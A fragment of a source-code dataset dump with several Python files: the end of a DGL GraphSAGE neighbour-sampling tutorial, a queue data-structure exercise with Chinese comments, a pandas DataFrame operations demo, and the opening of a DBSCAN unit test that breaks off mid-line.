  drop_last=False,    # Whether to drop the last incomplete batch\n    num_workers=0       # Number of sampler processes\n)\n\n\n######################################################################\n# .. note::\n#\n#    Since DGL 0.7 neighborhood sampling on GPU is supported.  Please\n#    refer to :ref:`guide-minibatch-gpu-sampling` if you are\n#    interested.\n#\n\n\n######################################################################\n# You can iterate over the data loader and see what it yields.\n#\n\ninput_nodes, output_nodes, mfgs = example_minibatch = next(iter(train_dataloader))\nprint(example_minibatch)\nprint(\"To compute {} nodes' outputs, we need {} nodes' input features\".format(len(output_nodes), len(input_nodes))) \n\n\n######################################################################\n# ``NodeDataLoader`` gives us three items per iteration.\n#\n# -  An ID tensor for the input nodes, i.e., nodes whose input features\n#    are needed on the first GNN layer for this minibatch.\n# -  An ID tensor for the output nodes, i.e. nodes whose representations\n#    are to be computed.\n# -  A list of MFGs storing the computation dependencies\n#    for each GNN layer.\n#\n\n\n######################################################################\n# You can get the source and destination node IDs of the MFGs\n# and verify that the first few source nodes are always the same as the destination\n# nodes.  As we described in the :doc:`overview <L0_neighbor_sampling_overview>`,\n# destination nodes' own features from the previous layer may also be necessary in\n# the computation of the new features.\n#\n\nmfg_0_src = mfgs[0].srcdata[dgl.NID]\nmfg_0_dst = mfgs[0].dstdata[dgl.NID]\nprint(mfg_0_src)\nprint(mfg_0_dst)\nprint(torch.equal(mfg_0_src[:mfgs[0].num_dst_nodes()], mfg_0_dst))\n\n\n######################################################################\n# Defining Model\n# --------------\n#\n# Let\u2019s consider training a 2-layer GraphSAGE with neighbor sampling. The\n# model can be written as follows:\n#\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom dgl.nn import SAGEConv\n\nclass Model(nn.Module):\n    def __init__(self, in_feats, h_feats, num_classes):\n        super(Model, self).__init__()\n        self.conv1 = SAGEConv(in_feats, h_feats, aggregator_type='mean')\n        self.conv2 = SAGEConv(h_feats, num_classes, aggregator_type='mean')\n        self.h_feats = h_feats\n\n    def forward(self, mfgs, x):\n        # Lines that are changed are marked with an arrow: \"<---\"\n\n        h_dst = x[:mfgs[0].num_dst_nodes()]  # <---\n        h = self.conv1(mfgs[0], (x, h_dst))  # <---\n        h = F.relu(h)\n        h_dst = h[:mfgs[1].num_dst_nodes()]  # <---\n        h = self.conv2(mfgs[1], (h, h_dst))  # <---\n        return h\n\nmodel = Model(num_features, 128, num_classes).to(device)\n\n\n######################################################################\n# If you compare against the code in the\n# :doc:`introduction <../blitz/1_introduction>`, you will notice several\n# differences:\n#\n# -  **DGL GNN layers on MFGs**. Instead of computing on the\n#    full graph:\n#\n#    .. code:: python\n#\n#       h = self.conv1(g, x)\n#\n#    you only compute on the sampled MFG:\n#\n#    .. code:: python\n#\n#       h = self.conv1(mfgs[0], (x, h_dst))\n#\n#    All DGL\u2019s GNN modules support message passing on MFGs,\n#    where you supply a pair of features, one for source nodes and another\n#    for destination nodes.\n#\n# -  **Feature slicing for self-dependency**. There are statements that\n#    perform slicing to obtain the previous-layer representation of the\n#     nodes:\n#\n#    .. code:: python\n#\n#       h_dst = x[:mfgs[0].num_dst_nodes()]\n#\n#    ``num_dst_nodes`` method works with MFGs, where it will\n#    return the number of destination nodes.\n#\n#    Since the first few source nodes of the yielded MFG are\n#    always the same as the destination nodes, these statements obtain the\n#    representations of the destination nodes on the previous layer. They are\n#    then combined with neighbor aggregation in ``dgl.nn.SAGEConv`` layer.\n#\n# .. note::\n#\n#    See the :doc:`custom message passing\n#    tutorial <L4_message_passing>` for more details on how to\n#    manipulate MFGs produced in this way, such as the usage\n#    of ``num_dst_nodes``.\n#\n\n\n######################################################################\n# Defining Training Loop\n# ----------------------\n#\n# The following initializes the model and defines the optimizer.\n#\n\nopt = torch.optim.Adam(model.parameters())\n\n\n######################################################################\n# When computing the validation score for model selection, usually you can\n# also do neighbor sampling. To do that, you need to define another data\n# loader.\n#\n\nvalid_dataloader = dgl.dataloading.NodeDataLoader(\n    graph, valid_nids, sampler,\n    batch_size=1024,\n    shuffle=False,\n    drop_last=False,\n    num_workers=0,\n    device=device\n)\n\n\n######################################################################\n# The following is a training loop that performs validation every epoch.\n# It also saves the model with the best validation accuracy into a file.\n#\n\nimport tqdm\nimport sklearn.metrics\n\nbest_accuracy = 0\nbest_model_path = 'model.pt'\nfor epoch in range(10):\n    model.train()\n\n    with tqdm.tqdm(train_dataloader) as tq:\n        for step, (input_nodes, output_nodes, mfgs) in enumerate(tq):\n            # feature copy from CPU to GPU takes place here\n            inputs = mfgs[0].srcdata['feat']\n            labels = mfgs[-1].dstdata['label']\n\n            predictions = model(mfgs, inputs)\n\n            loss = F.cross_entropy(predictions, labels)\n            opt.zero_grad()\n            loss.backward()\n            opt.step()\n\n            accuracy = sklearn.metrics.accuracy_score(labels.cpu().numpy(), predictions.argmax(1).detach().cpu().numpy())\n\n            tq.set_postfix({'loss': '%.03f' % loss.item(), 'acc': '%.03f' % accuracy}, refresh=False)\n\n    model.eval()\n\n    predictions = []\n    labels = []\n    with tqdm.tqdm(valid_dataloader) as tq, torch.no_grad():\n        for input_nodes, output_nodes, mfgs in tq:\n            inputs = mfgs[0].srcdata['feat']\n            labels.append(mfgs[-1].dstdata['label'].cpu().numpy())\n            predictions.append(model(mfgs, inputs).argmax(1).cpu().numpy())\n        predictions = np.concatenate(predictions)\n        labels = np.concatenate(labels)\n        accuracy = sklearn.metrics.accuracy_score(labels, predictions)\n        print('Epoch {} Validation Accuracy {}'.format(epoch, accuracy))\n        if best_accuracy < accuracy:\n            best_accuracy = accuracy\n            torch.save(model.state_dict(), best_model_path)\n\n        # Note that this tutorial do not train the whole model to the end.\n        break\n\n\n######################################################################\n# Conclusion\n# ----------\n#\n# In this tutorial, you have learned how to train a multi-layer GraphSAGE\n# with neighbor sampling.\n#\n# What\u2019s next?\n# ------------\n#\n# -  :doc:`Stochastic training of GNN for link\n#    prediction <L2_large_link_prediction>`.\n# -  :doc:`Adapting your custom GNN module for stochastic\n#    training <L4_message_passing>`.\n# -  During inference you may wish to disable neighbor sampling. If so,\n#    please refer to the :ref:`user guide on exact offline\n#    inference <guide-minibatch-inference>`.\n#\n\n\n# Thumbnail Courtesy: Stanford CS224W Notes\n# sphinx_gallery_thumbnail_path = '_static/blitz_1_introduction.png'\n", "meta": {"hexsha": "c52bf1312a07a3c63ca1d8593e0b239159ad501a", "size": 11715, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/large/L1_large_node_classification.py", "max_stars_repo_name": "gpzlx1/dgl", "max_stars_repo_head_hexsha": "f0fafa2062ccb23bfb996e84aa4758a435db9b1f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/large/L1_large_node_classification.py", "max_issues_repo_name": "gpzlx1/dgl", "max_issues_repo_head_hexsha": "f0fafa2062ccb23bfb996e84aa4758a435db9b1f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/large/L1_large_node_classification.py", "max_forks_repo_name": "gpzlx1/dgl", "max_forks_repo_head_hexsha": "f0fafa2062ccb23bfb996e84aa4758a435db9b1f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.6637931034, "max_line_length": 121, "alphanum_fraction": 0.6258642766, "include": true, "reason": "import numpy", "num_tokens": 2679, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4455295497638851, "lm_q2_score": 0.11920292202211756, "lm_q1q2_score": 0.05310842417905354}}
{"text": "\n#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport timeit\nimport numpy as np\n\nimport sys\nimport random as rand\n\n\nclass Queue_array:\n    \"\"\"\n    \u987a\u5e8f\u961f\u5217\n    \"\"\"\n\n    def __init__(self,capacity):\n\n        self._items = [None]*(capacity+1) #\u6700\u540e\u4e00\u4e2a\u4f4d\u7f6e \u7a7a\u7f6e\n        self._capacity = capacity\n        self._head = 0\n        self._tail = 0\n\n    def enqueue(self,item):\n        \"\"\"\n        \u5165\u961f\n        :param item: \n        :return: \n        \"\"\"\n        if self._tail== self._capacity: # \u961f\u5217\u7684\u6700\u540e\u4e00\u4e2a\u4f4d\u7f6e\u4e3a\u7a7a\u7f6e\uff0c\u961f\u5c3e\u6307\u9488\u6307\u5728\u6b64\u5904\n\n            if self._head!=0: # \u8fdb\u884c\u6570\u636e\u7684\u642c\u79fb \uff0c\u5728\u5934\u90e8\u817e\u51fa\u7a7a\u95f4\uff0c\u63d2\u5165\u65b0\u7684\u5143\u7d20\n\n                self._items[0:self._tail-self._head]=self._items[self._head:self._tail]\n\n                self._tail= self._tail-self._head\n                self._head=0\n\n            else: # self._head==0 \u5e76\u4e14 self._tail== self._capacity \u8868\u793a \u961f\u5217\u5df2\u6ee1\n                print('the Queue is full!')\n                return False\n\n        self._items[self._tail]=item\n        self._tail+=1\n\n        return True\n\n    def dequeue(self):\n        \"\"\"\n        \u51fa\u961f\n        :return: \n        \"\"\"\n        if self._head==self._tail: # \u961f\u5217\u4e3a\u7a7a\n            print('the Queue is empty!')\n            return None\n\n        res=self._items[self._head]\n\n        self._items[self._head]=None\n        self._head += 1\n\n        return res\n\n\n    def __repr__(self):\n        return ','.join(self._items[self._head : self._tail])\n\n\nclass CircularQueue:\n    \"\"\"\n    \u5faa\u73af\u961f\u5217\n    \"\"\"\n    def __init__(self,capacity):\n\n        self._items = [None]*(capacity)\n        self._capacity = capacity\n        self._head = 0\n        self._tail = 0\n\n    def enqueue(self,item):\n        \"\"\"\n        \u5165\u961f\n        \u5faa\u73af\u961f\u5217 \u7701\u7565\u4e86 \u6570\u636e\u642c\u79fb\u7684 \u5f00\u9500\n        :param item: \n        :return: \n        \"\"\"\n\n        if (self._tail+1) % self._capacity==self._head: # (tail+1)% n=head  \u8868\u793a \u961f\u5217\u5df2\u6ee1\n            print('the Queue is full!')\n            return False\n\n        self._items[self._tail]=item\n        self._tail=(self._tail+1)%self._capacity\n\n        return True\n\n    def dequeue(self):\n        \"\"\"\n        \u51fa\u961f\n        :return: \n        \"\"\"\n        if self._head==self._tail: # \u961f\u5217\u4e3a\u7a7a\n            print('the Queue is empty!')\n            return None\n\n        res=self._items[self._head]\n\n        self._items[self._head]=None\n        self._head = (self._head+1)%self._capacity\n\n        return res\n\nclass BlockingQueue:\n    \"\"\"\n    \u963b\u585e\u961f\u5217\n    \n    \"\"\"\n    def __init__(self, capacity):\n        self._items = []\n        self._capacity = capacity\n\n    def producer(self,item): #TODO:\u591a\u7ebf\u7a0b\u8c03\u7528\uff0c\u7136\u540e\u7ed9\u961f\u5217\u52a0\u9501\n\n        if len(self._items)<=self._capacity:\n            self._items.append(item)\n            return True\n        else:\n            print('the Queue is full!')\n            return False\n\n    def consumer(self):\n\n        if len(self._items)>0:\n            res=self._items.pop()\n            return res\n        else:\n            print('the Queue is empty!')\n            return None\n\n\nif __name__ == '__main__':\n\n    # 1. \u987a\u5e8f\u961f\u5217\n    # queue=Queue_array(8)\n    # string_list=['a','b','c','d','e','f','g','h']\n    #\n    # for ele in string_list:\n    #     queue.enqueue(ele)\n    #\n    # print(queue._items)\n    #\n    # queue.enqueue('i')\n    #\n    # print('pop:',queue.dequeue())\n    # print('pop:', queue.dequeue())\n    # print('pop:', queue.dequeue())\n    # print(queue._items)\n    #\n    # queue.enqueue('i')\n    # print(queue)\n\n    #2. \u5faa\u73af\u961f\u5217\n    queue = CircularQueue(8)\n\n    string_list=['e','f','g','h','i','j']\n\n    for ele in string_list:\n        queue.enqueue(ele)\n\n    print(queue._items)\n\n    for i in range(3):\n        print('pop:',queue.dequeue())\n\n    print(queue._items)\n\n    queue.enqueue('a')\n    queue.enqueue('b')\n    print(queue._items)\n\n    queue.enqueue('c')\n    queue.enqueue('d')\n    print(queue._items)\n\n    queue.enqueue('e')\n\n\n\n\n\n\n", "meta": {"hexsha": "2533ae4893b1c779f4471ef4511dd0dbc0e4068c", "size": 3701, "ext": "py", "lang": "Python", "max_stars_repo_path": "03_queue/queue_xrh.py", "max_stars_repo_name": "Xinrihui/Data-Structure-and-Algrithms", "max_stars_repo_head_hexsha": "fa3a455f64878e42d033c1fd8d612f108c71fb72", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-13T10:55:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-13T10:55:33.000Z", "max_issues_repo_path": "03_queue/queue_xrh.py", "max_issues_repo_name": "Xinrihui/Data-Structure-and-Algrithms", "max_issues_repo_head_hexsha": "fa3a455f64878e42d033c1fd8d612f108c71fb72", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "03_queue/queue_xrh.py", "max_forks_repo_name": "Xinrihui/Data-Structure-and-Algrithms", "max_forks_repo_head_hexsha": "fa3a455f64878e42d033c1fd8d612f108c71fb72", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.2760416667, "max_line_length": 87, "alphanum_fraction": 0.5187787085, "include": true, "reason": "import numpy", "num_tokens": 1070, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.1192029188930649, "lm_q1q2_score": 0.053108421029787106}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/11/18 15:50\n# @File : pandas_operate\nimport random\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import datetime\n\n\ndef create_dataframe():\n    random.seed(1)\n    rnd1 = [random.randrange(1, 20) for x in range(40)]\n    rnd2 = [random.randrange(1, 20) for x in range(40)]\n    rnd3 = [random.randrange(1, 20) for x in range(40)]\n    daytime = pd.date_range('2020-11-09', '2020-12-18')\n    data = pd.DataFrame({'daytime': daytime, 'rnd1': rnd1, 'rnd2': rnd2, 'rnd3': rnd3})\n    return data\n\n\ndef dataframe_operate():\n    \"\"\" loc\u53ef\u4ee5\u6309\u7167\u7d22\u5f15\u7684\u503c\u6765\u8fdb\u884c\u884c\u5217\u9009\u62e9\uff0c\u5305\u542b\u7ed3\u5c3e\u3002\n        iloc\u662f\u6309\u7167\u7d22\u5f15\u7684\u4f4d\u7f6e\u6765\u8fdb\u884c\u9009\u53d6\uff0c\u4e0d\u5173\u5fc3\u7d22\u5f15\u7684\u5177\u4f53\u503c\u662f\u591a\u5c11\uff0c\u53ea\u5173\u5fc3\u4f4d\u7f6e\u662f\u591a\u5c11\uff0c\u6240\u4ee5\u4f7f\u7528iloc\u65f6\u65b9\u62ec\u53f7\u4e2d\u53ea\u80fd\u4f7f\u7528\u6570\u503c\u3002\n        at\u7684\u4f7f\u7528\u65b9\u6cd5\u4e0eloc\u7c7b\u4f3c\uff0c\u4f46\u662f\u6bd4loc\u6709\u66f4\u5feb\u7684\u8bbf\u95ee\u6570\u636e\u7684\u901f\u5ea6\uff0c\u53ea\u80fd\u8bbf\u95ee\u5355\u4e2a\u5143\u7d20\uff0c\u4e0d\u80fd\u8bbf\u95ee\u591a\u4e2a\u5143\u7d20\u3002\n        iat\u5bf9\u4e8eiloc\u7684\u5173\u7cfb\u5c31\u50cfat\u5bf9\u4e8eloc\u7684\u5173\u7cfb\uff0c\u662f\u4e00\u79cd\u66f4\u5feb\u7684\u57fa\u4e8e\u7d22\u5f15\u4f4d\u7f6e\u7684\u9009\u62e9\u65b9\u6cd5\uff0c\u540cat\u4e00\u6837\u53ea\u80fd\u8bbf\u95ee\u5355\u4e2a\u5143\u7d20\u3002\n        df[['A\u5217\u540d','B\u5217\u540d']]   #\u9009\u53d6\u5217\n        df[df['status']=='active']   #\u9009\u53d6status\u5217\u503c\u4e3aactive\u7684\u884c\u6570\u636e\n        df[df['status'].isnull()]   #\u9009\u53d6status\u5217\u503c\u4e3a\u7a7a\u7684\u884c\u6570\u636e\n        df[df['status'].isin(['waiting', 'running'])]   #\u9009\u53d6status\u5217\u503c\u4e3awaiting \u548crunning\u7684\u884c\u6570\u636e\n        df.sort_values(by='active',ascending=False)         # df\u4ee5active \u5217\u964d\u5e8f\u6392\u5e8f\n        gb=df.groupby('active', sort=False)        #df\u4ee5active \u5217\u6570\u636e\u5206\u7ec4\n        gy.groups.keys()\n        gy.get_group(190)['A']\n        g.get_group(k).head(n)\n\n    \"\"\"\n    data = create_dataframe()\n    print('DataFrame\u6570\u636e\u8868\uff1a\\n', data)\n    print('DataFrame\u7edf\u8ba1\uff1a\\n', data.describe())\n    print('DataFrame\u5217\u7d22\u5f15\u540d\u79f0\uff1a\\n', data.columns)\n    print('DataFrame\u884c\u7d22\u5f15\u540d\u79f0\uff1a\\n', data.index)\n    print('DataFrame\u603b\u8ba1\u884c\uff1a', len(data), ' \u5217\uff1a', data.columns.size)\n    print('DataFrame\u7b49\u4e8e10\u7684\u6570\u636e\uff1a\\n', data[data == 10])\n    print('DataFrame\u4e2drnd1\u5927\u4e8e10\u7684\u6570\u636e\uff1a\\n', data[data.rnd1 > 10])\n    print('DataFrame\u7edf\u8ba1\u5404\u4e2a\u503c\u4e2a\u6570\uff1a\\n', data['rnd2'].value_counts())\n\n    print('DataFrame\u5207\u53d62\u4e4b5\u884c\uff1a\\n', data[2:5])  # \u524d\u95ed\u540e\u5f00\uff0c\u5305\u62ec\u524d\u4e0d\u5305\u62ec\u540e\n    print('DataFrame loc\u53d62\u4e4b5\u884c\uff1a\\n', data.loc[2:5])\n    print('DataFrame\u63d0\u53d6\u5217[[]]\uff1a\\n', data[['rnd1', 'rnd3']])  # \u8fd4\u56de\u7684\u662fDataFrame\u5c5e\u6027\n    print('DataFrame\u63d0\u53d6\u5217.\uff1a\\n', data.rnd1)  # \u8fd4\u56de\u7684\u662fSeries\u7c7b\u578b\n    print('DataFrame\u63d0\u53d6\u5217[]\uff1a\\n', data['rnd1'])  # \u8fd4\u56de\u7684\u662fSeries\u7c7b\u578b\n    print('DataFrame\u63d0\u53d6\u5217[[]]\uff1a\\n', data[['rnd1']])\n    print('DataFrame\u63d0\u53d6\u524d3\u884c\uff1a\\n', data.head(3))\n    print('DataFrame\u63d0\u53d6\u540e3\u884c\uff1a\\n', data.tail(3))\n    print('DataFrame\u533a\u5757\u9009\u62e9\uff1a\\n', data[3:6][['rnd1', 'rnd3']])\n    print('DataFrame loc\u533a\u5757\u9009\u62e9\uff1a\\n', data.loc[3:6, ['rnd1', 'rnd3']])\n    print('DataFrame\u63d0\u53d6\u7b2c\u56db\u884c\u4e8c\u5217\uff1a\\n', data.iat[3, 2])\n\n    index = data.set_index('daytime')  # \u5c06\u884c\u7d22\u5f15\u8bbe\u5b9a\u4e3a\u65e5\u671f\n    print('\u8bbe\u7f6e\u65e5\u671f\u5217\u4e3a\u7d22\u5f15\uff1a\\n', index.head())\n    # \u751f\u6210\u4e24\u4e2a\u7279\u5b9a\u65e5\u671f\n    startday = datetime(2020, 11, 12)\n    endday = datetime(2020, 11, 16)\n    print('DataFrame loc\u5efa\u7d22\u5f15\u5207\u53d6\uff1a\\n', index.loc[startday:endday])\n    print('DataFrame iloc\u884c\u9009\u62e9\u6700\u540e\u4e00\u884c\uff1a', type(index.iloc[-1]), '\\n', index.iloc[-1])  # \u9009\u53d6DataFrame\u6700\u540e\u4e00\u884c\uff0c\u8fd4\u56de\u7684\u662fSeries\n    print('DataFrame iloc\u884c\u9009\u62e9\u6700\u540e\u4e00\u884c\uff1a', type(index.iloc[-1:]), '\\n', index.iloc[-1:])  # \u9009\u53d6DataFrame\u6700\u540e\u4e00\u884c\uff0c\u8fd4\u56de\u7684\u662fDataFrame\n    print('DataFrame iloc\u884c\u9009\u62e9\uff1a\\n', index.iloc[2:5, :])\n    print('DataFrame iloc\u5217\u9009\u62e9\uff1a\\n', index.iloc[:, [1, 2]].head())\n    print('DataFrame iloc\u533a\u5757\u9009\u62e9\uff1a\\n', index.iloc[[1, 2, 2], [1, 2]])\n    dt = data[data['rnd1'].isin([2, 6, 8, 10])]\n    print('DataFrame\u9009\u53d6\u7279\u5b9a\u884c\uff1a\\n', dt)\n    dt = data[~data['rnd1'].isin([2, 6, 8, 10])]\n    print('DataFrame\u6392\u9664\u7279\u5b9a\u884c\uff1a\\n', dt)\n\n    # \u9009\u53d6\u67d0\u884c\u542b\u6709\u7279\u5b9a\u6570\u503c\u7684\u5217\n    cols = [x for i, x in enumerate(data.columns) if len(set([13]) & set(data.iloc[:, i].values.tolist())) > 0]\n    # \u5229\u7528enumerate\u5bf9row0\u8fdb\u884c\u904d\u5386\uff0c\u5c06\u542b\u6709\u6570\u5b573\u7684\u5217\u653e\u5165cols\u4e2d\n    print('\u9009\u53d6\u5217\uff1a', cols)\n    # df1=data[cols]   \u9009\u53d6\u542b\u6709\u7279\u5b9a\u6570\u503c\u7684\u5217\n    df1 = data.drop(cols, axis=1)  # \u5229\u7528drop\u65b9\u6cd5\u5c06\u542b\u6709\u7279\u5b9a\u6570\u503c\u7684\u5217\u5220\u9664\n    print('\u6392\u9664\u7279\u5b9a\u6570\u503c\u5217', df1)\n\n\ndef dataframe_groupby():\n    df = create_dataframe()\n    gb = df.groupby(by='rnd1')\n    print('DataFrame.groupby()\u6c42\u6700\u5927\u503c\uff1a\\n', gb.max())\n    print('DataFrame.groupby()\u6c42\u6700\u5c0f\u503c\uff1a\\n', gb.min())\n    print('DataFrame.groupby()\u5206\u7ec4keys\uff1a\\n', gb.keys)\n    print('DataFrame.groupby()\u5206\u7ec4keys\u503c\uff1a\\n', gb.groups.keys())\n    print('DataFrame.groupby()\u5206\u7ec4rnd1\u7edf\u8ba1\uff1a\\n', gb['rnd1'].value_counts())\n    print('DataFrame.groupby()\u7edf\u8ba1\uff1a\\n', gb.describe)\n    print('DataFrame.groupby()\u9009\u62e9\u6700\u540e\u4e00\u884c\u503c\u5206\u7ec4\u7684daytime\uff1a\\n', gb.get_group(int(df.iloc[-1]['rnd1']))['daytime'])\n    print('DataFrame.groupby()\u9009\u62e9\u7b2c\u4e00\u4e2a\u5206\u7ec4\u7684\u524d\u4e09\u884c\uff1a\\n', gb.get_group(list(gb.groups.keys())[3]).head(3))\n\n\ndef dataframe_query_eval():\n    \"\"\"DataFrame.query(expr, inplace=False, **kwargs)\u53c2\u6570\u8bf4\u660e\uff1a\n        expr\uff1a\u5f15\u7528\u5b57\u7b26\u4e32\u5f62\u5f0f\u7684\u8868\u8fbe\u5f0f\u4ee5\u8fc7\u6ee4\u6570\u636e\u3002\n        inplace\uff1a\u5982\u679c\u8be5\u503c\u4e3aTrue, \u5b83\u5c06\u5728\u539f\u59cbDataFrame\u4e2d\u8fdb\u884c\u66f4\u6539\u3002\n        kwargs\uff1a\u5f15\u7528\u5176\u4ed6\u5173\u952e\u5b57\u53c2\u6570\u3002\n        Pandas.eval()\u4e0eDataFrame.eval()\u7c7b\u4f3c\uff0c\u90fd\u652f\u6301\u8868\u8fbe\u5f0f\u64cd\u4f5c\uff0c\u6ce8\u610f\u64cd\u4f5c\u662f\u5426\u7b26\u5408\u8868\u8fbe\u5f0f\u7684\u6570\u636e\u7c7b\u578b\uff0c\u8fd0\u7b97\u64cd\u4f5c\u53ea\u80fd\u662f\u6570\u5b57\u3002\n        Pandas.eval()\u652f\u6301\u591a\u4e2aDataFrame\u64cd\u4f5c\uff0cDataFrame.eval()\u662f\u5bf9\u81ea\u8eab\u7684\u6570\u636e\u505a\u64cd\u4f5c\u3002\n    \"\"\"\n    keys = [10, 12, 16]\n    df = create_dataframe()\n    sv = df.sort_values(by='rnd2', ascending=True)\n    print('DataFrame\u6c42\u4e2a\u5217\u603b\u548c\uff1a\\n', sv.sum())\n    print('DataFrame.sort_values()\u7edf\u8ba1\uff1a\\n', sv.describe())\n    print('DataFrame.query()\u7b5b\u9009\u8fc7\u6ee4\uff1a\\n', sv.query('rnd1 > @keys[0] and rnd2 < @keys[1]'))\n    print('DataFrame.query()\u7b5b\u9009\u8fc7\u6ee4\uff1a\\n', sv.query('rnd1 > 10 and rnd2 < 12'))\n    print('DataFrame.eval()\u7b97\u672f\u8fd0\u7b97\uff1a\\n', sv.eval('-rnd1 * rnd2 / rnd3 + ( rnd2 + rnd3 )'))\n    print('DataFrame.eval()\u6bd4\u8f83\u8fd0\u7b97\uff1a\\n', sv.eval('rnd1 <= rnd2 !=rnd3'))\n    print('DataFrame.eval()\u4f4d\u8fd0\u7b97\uff1a\\n', sv.eval('(rnd1< @keys[0]) &(rnd2 < @keys[1]) | (rnd3 < @keys[2])'))\n    print('DataFrame.eval()\u5217\u8ba1\u7b97\uff1a\\n', sv.eval('(rnd1 + rnd2 + rnd3)/3'))\n    print('DataFrame.eval()\u65b0\u589e\u5217\uff1a\\n', sv.eval('rowmean = (rnd1 + rnd2 + rnd3)/3', inplace=True))\n    print('DataFrame.eval()\u5217\u64cd\u4f5c\uff1a\\n', sv.eval('rnd1+10'))\n    df1 = pd.DataFrame(np.random.randint(0, 20, (100, 3)))\n    df2 = pd.DataFrame(np.random.randint(0, 20, (100, 3)))\n    df3 = pd.DataFrame(np.random.randint(0, 20, (100, 3)))\n    print('Pandas.eval()\u7b97\u672f\u8fd0\u7b97\uff1a\\n', pd.eval('(df1 + df2) / df3'))\n\n\nif __name__ == '__main__':\n    print('......start......')\n    # dataframe_operate()\n    # dataframe_groupby()\n    dataframe_query_eval()\n    print('......end......')\n", "meta": {"hexsha": "f664550bec44857c60ae30b0baeee3760c04c00d", "size": 5692, "ext": "py", "lang": "Python", "max_stars_repo_path": "python-base/base/pandas_operate.py", "max_stars_repo_name": "lovelifeming/AI-Studies-Road", "max_stars_repo_head_hexsha": "d92e234211f89cc92c74dd49e9e5b9394b7fa4ed", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python-base/base/pandas_operate.py", "max_issues_repo_name": "lovelifeming/AI-Studies-Road", "max_issues_repo_head_hexsha": "d92e234211f89cc92c74dd49e9e5b9394b7fa4ed", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python-base/base/pandas_operate.py", "max_forks_repo_name": "lovelifeming/AI-Studies-Road", "max_forks_repo_head_hexsha": "d92e234211f89cc92c74dd49e9e5b9394b7fa4ed", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.4503816794, "max_line_length": 114, "alphanum_fraction": 0.6296556571, "include": true, "reason": "import numpy", "num_tokens": 2222, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11124121092722457, "lm_q1q2_score": 0.05301529748759746}}
{"text": "\"\"\"\n.. module:: DBSCAN_unittest\n\nDBSCAN\n*************\n\n:Description: Unit tests for DBSCAN algorithm\n\n\n:Authors: birkholz\n\n:License: BSD 3 clause (due to using API of DBSCAN from scikit-learn)\n\n:Version:\n\n:Created on:\n\n\"\"\"\nimport sys\n\nsys.path.insert(1, '../')\nsys.path.insert(1, '../kemlglearn/')\n\nimport numpy as np\n\nimport unittest\nimport time\nimport logging\n\nfrom sklearn.datasets import make_blobs, make_moons\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Our implementation\nfrom kemlglearn.cluster.DBSCAN import DBSCAN, NOISE, NO_CLUSTER\n\n# Reference implementation for comparison\nfrom sklearn.cluster import DBSCAN as sklDBSCAN\n\nfrom kemlglearn.datasets.gen_dbscan_dataset import gen_dbscan_dataset1, gen_dbscan_dataset2, gen_dbscan_dataset3, \\\n                                        gen_dbscan_blobs, gen_dbscan_moons, gen_gridbscan_synth10k\n\n\n# Helper function to plot DBSCAN results based on DBSCAN example in scikit-learn user guide\n# If data has more than two dimensions, the first two will be used\ndef plot_dbscan_results(x, labels, core_sample_indices):\n    core_samples_mask=np.zeros_like(labels, dtype=bool)\n    core_samples_mask[core_sample_indices] = True\n    n_clusters_=len(set(labels))-(1 if -1 in labels else 0)\n    n_noise_ = list(labels).count(-1)\n\n    unique_labels = set(labels)\n    colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]\n\n    for k, col in zip(unique_labels, colors):\n        if k == -1:\n            col = [0, 0, 0, 1] # Black for noise\n\n        class_member_mask = (labels == k)\n\n        xy = x[class_member_mask & core_samples_mask]\n        plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),\n            markeredgecolor='k', markersize=14)\n\n        xy = x[class_member_mask & ~core_samples_mask]\n        plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),\n            markeredgecolor='k', markersize=6)\n\n    # Show clusters (and noise)\n    plt.title(f'Estimated number of clusters: {n_clusters_}')\n    plt.show()\n\ndef dbscan_equivalent_results(labels1, corepts1, labels2, corepts2):\n    # This is not the absolute most efficient implementation, but it\n    # doesn't have to be since it's just a unit test.\n\n    # Confirm results are identical. They should have all the same core points, but\n    # it is possible for a border point to be grouped with a different cluster if it's\n    # close enough to two different clusters.\n\n    # Noise must be identical\n    noise1=set(np.where(labels1==NOISE)[0])\n    noise2=set(np.where(labels2==NOISE)[0])\n\n    if noise1 != 